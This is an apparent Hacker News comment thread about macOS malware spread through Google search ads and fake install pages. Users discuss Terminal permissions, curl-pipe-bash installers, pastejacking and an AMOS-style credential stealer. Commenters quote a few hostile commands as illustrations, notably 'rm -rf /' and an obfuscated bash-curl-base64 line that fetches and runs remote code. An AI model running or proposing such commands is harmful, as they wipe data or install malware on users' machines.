8 ms·
More Mac malware from Google search
- retired 9mo agoThanks for reminding me to turn off Full Disk Access for Terminal. I'm not sure why I had that one turned on.
- latexr 9mo agoProbably because you can’t even properly `ls` system directories without it.
- frizlab 9mo agodepends which directories…
- LtWorf 9mo agoBecause it is useless without?
- pkulak 9mo agolol, is this serious? The final straw with Mac for me was when I accidentally hit “No” when asked if I wanted to give my terminal access to the file system. All of a sudden I was starting my work day without a working terminal. Obviously there was a solution, probably an easy one, but I didn’t even look for it.
- retired 9mo agoThe solution is to enable Full Disk Access in settings.
- pkulak 9mo agoAre you sure? This felt like it was specific to iTerm. Like I’d have to scroll a list of apps, find it, and modify what it’s allowed to access.
- troad 9mo ago> The final straw with Mac > Obviously there was a solution, probably an easy one, but I didn’t even look for it It's hard to take this seriously. It's the most obvious setting possible. Settings > Privacy & Security > Full Disk Access > tick the apps you want to have it. What's even the complaint here? That Mac has solid app permissions, but you can't be bothered to open the settings?
- pkulak 9mo agoI said it was likely an easy solution. Glad to see my intuition was correct! I also said it was the “final straw”. No worries at all if you’re not familiar with that expression. It means that there were lots of similar slights previously, and that the event I mentioned, while minor, was the one that finally pushed me to make the decision I made.
- nozzlegear 9mo ago> I also said it was the “final straw”. No worries at all if you’re not familiar with that expression. It means that there were lots of similar slights previously, and that the event I mentioned, while minor, was the one that finally pushed me to make the decision I made. This sort of patronizing assholery is childish and unbecoming. Your comment would've been better without it.
- pkulak 9mo agoMy comment wouldn't exist without it. > you can't be bothered to open the settings? This kind of crap ticks me off and makes me respond in kind. I should be better, sure, but sometimes I'm not.
- troad 9mo ago>> you can't be bothered to open the settings? > This kind of crap ticks me off and makes me respond in kind. I should be better, sure, but sometimes I'm not. I think we're all struggling to identify any other possible interpretation of, and I quote, "obviously there was a solution, probably an easy one, but I didn’t even look for it". Your words are not ambiguous - you knew this would be an easy issue to solve, and you did not bother trying to solve it. And you say this as though it's someone else's fault. Should Tim Apple come to your desk personally every morning and ask which MacOS defaults it would suit you to remove? Are we to understand that the obvious security benefits of sandboxing filesystem access pale in comparison to any inconvenience for you, even if that inconvenience is you merely having to bother to open the settings? You're being totally unreasonable, and you're acting mean when your unreasonableness is picked up on. Learn to take a note, particularly when you're in the wrong, rather than becoming an irrationally defensive ball of spittle and venom. It'll serve you better in the long run.
- al_borland 9mo agoWhat would you do in the terminal without it?
- retired 9mo agoI was able to install homebrew, install yt-dlp and download some movies to watch during a flight. All without full disk access. I was also able to use sudo to remove /opt/homebrew afterwards.
- ProtectorFox 9mo agoGitHub too https://iboostup.com/blog/ai-fake-repositories-github https://iboostup.com/blog/ai-fake-repositories-github
- jeffbee 9mo agoThis sucks because the web should be the perfect, safe platform for this kind of application, but it isn't. Technically all the features exist in the browser such that you could write a homedir cleaner, space analyzer, etc purely in a browser tab, but because of the misguided (in my opinion) way that browsers refuse to do open a homedir, it's impossible.
- digiown 9mo agoI'm not sure letting a webapp access your home is a good idea. You're basically YOLOing random remote code to run on your machine. Maybe we can have it access some specific folder for its own data. And then there's also Apple which won't allow functional web apps, lest it affects their app store 30% cut.
- jeffbee 9mo agoThe web already has these APIs, it can be granted read-only permissions to designated directories. But the browsers will refuse to allow you to delegate even read-only access to, for example, the macos ~/Applications folder, on the pretty shaky basis of it being "system files". Because of that policy the API is not useful for the application of a space analyzer.
- JumpCrisscross 9mo ago> browsers will refuse to allow you to delegate even read-only access to, for example, the macos ~/Applications folder, on the pretty shaky basis of it being "system files" If you want to trash your system I believe nothing prevents you from giving Firefox full-disk access.
- trollbridge 9mo agoSeems like a great idea for something to just run inside a chroot jail (or the modern equivalent, a container).
- blackoil 9mo agoIs this satire?
- aucisson_masque 9mo agoAt least macos has file access permissions.
- zx8080 9mo agoComparing to DOS or what? No one runs Win10/11 on FAT now, while NTFS has access permissions and ACLs.
- retired 9mo agoI remember that Win32 apps on Windows 10 and 11 can do whatever they want with the users personal files. Has that changed?
- zx8080 9mo agoIn Win, access to files are controlled by ACL when NTFS is used (dating back to NT 3.1 with NTFS). So it depends on which user runs a process. Basic hygiene is very simple: never run as Administrator. Create and use a regular user or poweruser group user. It's similar to a regular linux practice. Use Administrator account when needed only.
- deleted 9mo ago[deleted]
- p_ing 9mo agoYou can create a separate user, but even a user in the administrators group doesn't have an admin token until elevation. If you trust yourself to not blindly click OK on every UAC prompt, a single user account in the admin group is fine.
- trinix912 9mo agoGP is talking about isolation inside the current user. Recent macOS versions ask before allowing a program to access files inside Documents, Desktop, etc. Whether that helps or not is debatable, but it’s not quite the same as what Windows ACLs do out of the box. To achieve the same on Windows, one would have to run the program as a different user to which they’d selectively grant access to the folders inside their profile.
- baxtr 9mo agoActually… I think this be solved by AI answers. I don’t look up commands on random websites, instead I ask an LLM for that kind of stuff. At the very least, check your commands with an LLMs.
- goalieca 9mo agoWhat we used to have, 15 years ago, was a really well functioning google. You could be lazy with your queries and still find what you wanted in the first two or three hits. Sometimes it was eerily accurate and figuring out what you were actually searching for. Modern google is just not there even with AI answers which is supposed to be infinitely better at natural language processing.
- macintux 9mo agoGoogle was such a revelation after the misery of Alta Vista and kin. I miss the days when I liked them.
- iamflimflam1 9mo ago15 years ago there were fewer content farms trying to get your clicks.
- deleted 9mo ago[deleted]
- somenameforme 9mo agoI think that played a somewhat smaller role than Google seemingly gradually starting to take its position for granted and so everything became more focused on revenue generation and less focused on providing the highest quality experiences or results. Beyond result quality it's absurd that it took LLMs to get meaningful natural language search. Google could have been working on that for many years, even if in a comparably simple manner, but seemingly never even bothered to try, even though that was always obviously going to be the next big step in search.
- nottorp 9mo ago
- etrvic 9mo agoA solution would be to stop shipping macs with the terminal app\s. Computers are now used by a wide variety of people, some without technical knowledge, maybe a default switch on macOS that displays warnings on rather trivial attacks would help.
- khana 9mo ago[dead]
- dexterdog 9mo agoHow is that a solution? These attacks would just tell you to install terminal if you don't already have it.
- learingsci 9mo agoThat would help a little no?
- nottorp 9mo agoWell it's becoming developer hostile enough already. Maybe drop python and all command line tools while they're at it. Would do wonders for that mythical year of the linux desktop...
- tokyobreakfast 9mo agoAre we still pushing the myth that anti-malware on Mac isn't necessary?
- CharlesW 9mo agoNo, that narrative died around 2010. The existence of malware targeting Macs has driven many macOS security improvements since, many of which are taken personally by HN readers.
- GeekyBear 9mo agoHow does antivirus software protect users who paste malicious commands they find online into the terminal?
- quamserena 9mo agoBy scanning downloaded binaries for known viruses?
- GeekyBear 9mo agoA text command pasted into the terminal isn't a binary. Convincing a Linux user to paste rm -rf / into the terminal is not malware. It's social engineering. Scanning binaries for known malware is already built into the OS.
- sithadmin 9mo agoThe article specifically mentions that the methodology here is to trick users into running an obfuscated CLI command…that downloads and runs a binary
- GeekyBear 9mo agoTerminal commands have the ability to do dangerous things, like deleting all the user's files. In this case, the user is warned that the command wants to do something dangerous and must manually allow or deny the action.
- tolerance 9mo agoAnother reason to avoid Medium like cold grits.
- emilecantin 9mo agoAttacks like this are not helped by the increasingly-common "curl | bash" installation instructions (e.g. the new "native" Claude Code install)... Publish through homebrew like a civilized person, please!
- isodev 9mo agoAnd donate to Homebrew, like a civilised person
- what 9mo agoAs if homebrew is any more secure. The only reason to use homebrew is convenience.
- retired 9mo agoHomebrew also installs through curl | bash but since recent they also offer a .pkg installer.
- krackers 9mo agoThat wouldn't really help, it could be more naughty and use pastejacking so you don't even realize what's happening. That might end up catching a lot of people because as far as i know by default bash doesn't use bracketed paste, so you think you're copying a real command and it ends up sending your secrets before you know what happened. Disabling JS + bracketed paste seems to be the only good solution. Btw OP article uses a weird setup, why would they use `bash -c "$(curl $(echo qux | base64))"` instead of just "curl | bash"
- donatj 9mo agoA homebrew tap is really a lateral move from a safety perspective and still usually invoked by pasting into the command line.
- skybrian 9mo agoI will never use Homebrew again because I'm still sore that they dropped support for a Mac OS version that I was still using and couldn't upgrade because Apple didn't support my hardware anymore. Any decent project should have a way to install without Homebrew. It's really not necessary.
- b1temy 9mo ago> Never follow a shortened link without expanding it using a utility like Link Unshortener from the App Store, I am unfamiliar with the Apple ecosystem, but is there anything special about this specific app that makes it trustworthy (e.g: reputable dev, made by Apple, etc.)? Looking it up, it seems like an $8 app for a link unshortener app. In any case, there have been malicious sites that return different results based on the headers (e.g: user agent. If it is downloaded via a user-agent of a web browser, return a benign script, if it is curl, return the malicious script). But I suppose this wouldn't be a problem if you directly inspect and use the unshortened link. > Terminal isn’t intended to be a place for the innocent to paste obfuscated commands Tale as old as time. Isn't there an attack that was starting to get popular last year on Windows of a "captcha" asking you to hit Super + R, and pasting a command to "verify" your captcha? But I suppose this type of attack has been going on for a long, long, time. I remember Facebook and some other websites used to have a big warning in the developer console, asking not to paste scripts users found online there, as they are likely scams and will not do what they claim the script would do. --- Side-Note: Is the layout of the website confusing for anyone else? Without borders on the image, (and the image being the same width of the paragraph text) it seemed like part of the page, and I found myself trying to select text on the image, and briefly wondering why I could not do so. Turning on my Dark Reader extension helped a little bit, since the screenshots were on a white background, but it still felt a bit jarring.
- abareplace 9mo agoAgreed, the lack of borders or indentation on the screenshots is very confusing. It's hard to understand what text comes from the malicious website and what is from the author.
- TminusZ 9mo agoCareful out there.
- aussieguy1234 9mo agoCould the dataset of the LLMs that made these recommendations have been poisoned by, let's say, a Honeypot website specifically designed to cause any LLM that trains on it to recommend malware?
- ALLTaken 9mo agoDO NOT GOOGLE EXPRESS VPN! The GitHub links are one of the nastiest Malware I ever encountered in my life! I steals your Apple Keychain, all your "Safe" Passkeys, your Google Chrome "Saved Passwords", even your KeePass Database! Login and security is still not sufficiently solved with attack-proofs for the most important things in life like your Bank, Email, Wallets, Social Logins. Your "logged-in Sessions" also get stolen! It's unbearable that most cookies expire in months "ON THE SERVER SIDE"! You have no control and can't log the attacker out! It happened to me, when I was in China and searched for ExpressVPN, because the main website didn't load forever, the GitHub link seemed like an alternative.. damn.. I changed my Google Password 5 times and the attacker was still able to log-in, it was so devastating! I had to change my email passwords multiple times too. Sessions are what make logins valid and this is the weakest link of all. I wish Sessions used Off-The-Record encryption with One-Time-Pads, such that each acccess requires a new key, that can only be derived with a valid reply that makes safe that the attacker can be logged out safely.
- GaryNumanVevo 9mo agoDid you download anything? A bad link isn't going to do all of that, unless some NS actor is dropping zero days on random people via Google search. You most likely downloaded a trojan with a a luma stealer, and your computer is probably still compromised.
- deleted 9mo ago[deleted]
- Asmod4n 9mo agoYou have to consider your machine and all others you connected to to be compromised. Time to reinstall every device with new accounts and passwords. With unused usb sticks and images downloaded from another network you were never connected to.
- swordsith 9mo agoNot to dog on you but I've always had a feeling that password managers or any method of saving passwords are probably the worse net security vulnerability you can open yourself up to. Very silly concept.
- possibleworlds 9mo agoI reported one of these recently. It was also related to clearing space, specifically system files. It was the second top sponsored link and presented as an Apple support page. The styling was very convincing, with the only giveaway being the url. A day later my parents called me very stressed out about a popup on my mother’s iPhone saying she had been hacked. I asked them to take a screenshot, and again it was a website that was styled to look like a modal on top of a iOS Settings app page. With the new ui this was extremely effective, as the page title is just a tiny thing down the bottom in scrolled state. I don’t know what is going on, but I’d assume the problem is AI moderation.
- sgirard 9mo agoI imagine that an AI agent like OpenClaw, if given browser access and system control with Peekaboo or similar could easily fall prey to this attack.
- shevy-java 9mo agoGoogle falling from grace. What happened to it? Google Search used to be useful in the past.
- 71bw 9mo agoMoney. This is all thanks to AdSense.
- 1kurac 9mo agoConfirmed. The professional term is "enshittification". Nowadays, I just use https://altpower.app https://altpower.app
- veeti 9mo agoHasn't AdSense been known to be a malware delivery vector for over a decade by now? https://www.securityweek.com/malvertising-campaign-abuses-google-adsense/ https://www.securityweek.com/malvertising-campaign-abuses-go...
- shreyaspapi 9mo agoThis is very close to something that happened to a friend of mine. They were trying to follow a MoltBot installation guide, but clicked on a different link that looked legitimate. That page instructed them to paste a command into Terminal. After running it, macOS immediately started asking for multiple permissions, which in hindsight was the big warning sign. But for someone who is non technical might have ran with it.
- renegat0x0 9mo agoThis might sound stupid, but I have my own index, of trusted domains: https://github.com/rumca-js/Internet-Places-Database https://github.com/rumca-js/Internet-Places-Database I start with it, to find stuff I know. If there is stuff I don't know and is important to me, I add it to my database. Also it enforces me to verify each link I visit. So links I visit are mostly ok. Though I sometimes use chatgpt for instructions, and if someone poinsed the well "well enough" it might spread malware.
- abraham 9mo ago> After running it, macOS immediately started asking for multiple permissions, which in hindsight was the big warning sign. From what understand of MoltBot, I would expect it to ask for a lot of permissions. I guess maybe they are prompted closer to configuration time in the actual app.
- daveidol 9mo agoYeah they are both acting as a RAT essentially. Just one is in your control and one isn’t.
- dev_l1x_be 9mo agothis curl | shell installation is actually insane. It was insane 10 years ago and it is going to be insane 10 years from now. Do not do it.
- MORPHOICES 9mo ago[dead]
- niek_pas 9mo agoWhat is an 'AMOS stealer'?
- pieterr 9mo agohttps://www.malwarebytes.com/blog/detections/osx-atomicstealer https://www.malwarebytes.com/blog/detections/osx-atomicsteal...
- notorandit 9mo agoWe should not outsource security to Google. If you prepare a ligit-looking web page where you instruct people to download and run malware, we'd better learn more on security and caution before blindly follow those directions. Why should it be Google's (or Bing's) duty to filter those out?
- 1e1a 9mo agoTrue, but Google shouldn't be allowing obvious malware advertisements on their platform.
- vimda 9mo agoIt may not be their duty to filter it out, but it should definitely be their duty to not take money to bump it to the top of their results. Let the algorithm dump random unlinked medium posts on the 5th page where they belong
- Ukv 9mo ago> Why should it be Google's (or Bing's) duty to filter those out? Google intentionally disguises ads as search results, and even lets advertisers present a fake URL. When the system's purpose is to profit from tricking inattentive users, I think they should take on some liability for the outcome of what they're tricking people into doing. Not to say that better teaching security isn't also a good idea.
- secretballot 9mo agoWhy should Google be responsible for content they accept money to promote on their website, and then elect to disguise as "natural" search results specifically in order to trick you into clicking them without realizing they're ads? The answers are in the question.